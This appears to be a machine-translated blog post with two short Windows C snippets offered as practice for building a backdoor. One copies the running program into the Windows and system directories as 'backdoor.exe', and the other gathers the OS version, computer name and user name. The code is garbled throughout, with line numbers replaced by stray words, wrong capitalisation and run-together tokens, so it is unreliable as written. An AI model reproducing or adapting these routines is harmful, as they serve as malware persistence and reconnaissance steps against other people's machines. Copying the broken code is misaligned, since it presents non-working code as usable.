With a few small API practiced hand

1. Copy your program to the Windows directory and system directory:

1#include <windows.h>2#include <stdio.h>3#include <string.h>4 5 voidcopyself ();6 7 intMain () {8 copyself ();9     return 0;Ten } One voidcopyself () { A     Charszselfname[max_path]={0}; -     Charszwindowspath[max_path]={0}; -     Charszsystempath[max_path]={0}; the  - GetModuleFileName (null,szselfname,max_path); - GetWindowsDirectory (szwindowspath,max_path); - getsystemdirectory (szsystempath,max_path); +  -strcat (Szwindowspath,"\\backdoor.exe"); +strcat (Szsystempath,"\\backdoor.exe"); A  at CopyFile (szselfname,szwindowspath,false); - CopyFile (szselfname,szsystempath,false); -}

2. Get information about the system:

1#include <windows.h>2#include <stdio.h>3 4 voidgetsysinfo ();5 6 intMain () {7 getsysinfo ();8     return 0;9 }Ten voidGetsysinfo () { One     Charszcomputername[maxbyte]={0}; A     Charszusername[maxbyte]={0}; -UnsignedLongNsize=Maxbyte; - osversioninfo osver; the  -Osver.dwosversioninfosize=sizeof(OSVERSIONINFO); -GetVersionEx (&osver); -  +     if(osver.dwplatformid==ver_platform_win32_nt) { -         if(osver.dwmajorversion==5&&osver.dwminorversion==1) +printf"Windows XP%s \ r \ n", osver.szcsdversion); A         Else if(osver.dwmajorversion==5&&osver.dwminorversion==0) atprintf"Windows 2K \ r \ n"); -}Else{ -printf"Other System \ r \ n"); -     } -  -GetComputerName (szcomputername,&nSize); inprintf"computer Name is%s \ r \ n", szcomputername); -  toNsize=Maxbyte; +GetUserName (szusername,&nSize); -printf"User Name is%s \ r \ n", szusername); the}

With a few small API practiced hand